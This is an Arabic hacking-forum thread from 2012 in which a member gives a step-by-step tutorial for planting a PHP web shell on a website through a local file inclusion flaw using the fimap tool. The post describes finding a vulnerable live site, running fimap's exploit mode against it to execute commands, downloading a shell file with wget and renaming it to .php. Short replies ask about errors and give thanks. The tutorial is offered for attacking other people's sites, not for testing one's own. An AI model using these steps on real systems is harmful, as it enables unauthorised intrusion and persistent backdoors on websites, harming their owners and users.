رفع شل بـ ثغرأت LFI .. باستخدـآم اداة الـ fimap - منتدى أمن الإسلام | لا اله الا الله محمد رسول الله | IS-SEC.ORG | Dz-SeC Team |

cold · 09/02/2012, 13:28

الســلام عليكم ورحمة الله وبركأتة
شالاخبار ش الاعلوم
اليوم معنا درس سهل .. وبسيط وحلو بنفس الوقت : )

رفع شل ب ثغرات local file include ..
بـ استخدأم اداة الـ fimap
..
الحين نبدـآء بالشغل ..
لقيت موقع مصاب ..
نعرض اليوزرات عشان نتأكد

نحمل الاداة ،
ع حسب نوع جهأزك
اذ الـ linux
افتح الترمنال وطبق امر
cd /pentest/web/fimap
اما الـ Windows

fimap.googlecode.com/files/fimap_alpha_v09.tar.gz

نطبق امر ..

كود:

./fimap.py -u "site.com/"

نطبق امر

كود:

./fimap.py -x

مثل ماهو موضح
نختـآر
ع الخيار [ 1 ]
ع الموقع الي طبقنآه

بيطلع لنآ. . الاستغلال
نطق ع [ 1 ]

راح يطلع لنا الخيارات
نختـآر رقم [ 1 ] تطبيق الاوامر ومنها رفع شل

مثل مانتوا شايفين

نسحب لنا اي شل وبيكون ب صيغة TXT ..

كود:

wget shell.txt

نطبق امر
mv shell.txt shell.php
لاستبدال صيغة TxT الى Php

نطق ع Enter

فمآن الله
اهدأء الى
all member r00t security + Al-k!nG

Jnon Hacker/*

xdvb · 09/02/2012, 15:54

مشكلتي عند كتابة هذا الامر ./fimap.py -x

###########################
#:: List of Domains:: #
###########################
#[q] Quit #
###########################

لم اجد رقم 1

ApOcalYpse · 09/02/2012, 16:03

اقتباس:

xdvb يقول

مشكلتي عند كتابة هذا الامر ./fimap.py -x

###########################
#:: List of domains:: #
###########################
#[q] quit #
###########################

لم اجد رقم 1

الادات تعتمد على الموجود و ليست ادات سحرية ترفع في كل الحالات

X_AviaTique_X · 09/02/2012, 16:27

بارك الله فيك

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
LFI using fimap and useragen switcher	illuminat	[ English Section ]	1	18/10/2014 06:21
اداة sQl map	S4wDz	توزيعة B4ck\|Tr4ck	5	15/07/2012 22:04
اداة تخمين مواقع جوملا	mahmad	[ منتدى الأدوات Hacking Tools ]	0	06/02/2012 17:07
اداة SQLninja	S4wDz	[ منتدى حـقن قواعد البيانات \| Sql injcetion ]	3	13/12/2011 23:03
اداة الاسطورةHavij v1.14 Advanced SQL Injection	hacker almooot	[ منتدى حـقن قواعد البيانات \| Sql injcetion ]	8	26/06/2011 20:51

حالياً الأعضاء النشيطين الذين يشاهدون هذا الموضوع : 1 (0 عضو و 1 ضيف)

(أظهر الكل) الأعضاء الذين قاموا بمشاهدة هذا الموضوع : 31
abdotv , Abu Hamid Madridi , ApOcalYpse , مستر عبدالرحيم , BELHADJ47 , blue wolf , BO3LA-HaCkEr , cold , Damane2011 , Dz.kH4 , FaRiS Ala7LaM , Gomina7 , HACER DZ , hacker-fire , HTC 28 DZ , حكمي , midofahmey , Mr.3Jr4M , NuevoAsesino , OXO , rayane888 , rezouka , S1LV3rS3rf3r , sahli-717 , shalhop , skandarfessi , snifferss , ViRuS_Ra3cH , xdvb , X_AviaTique_X , `R1z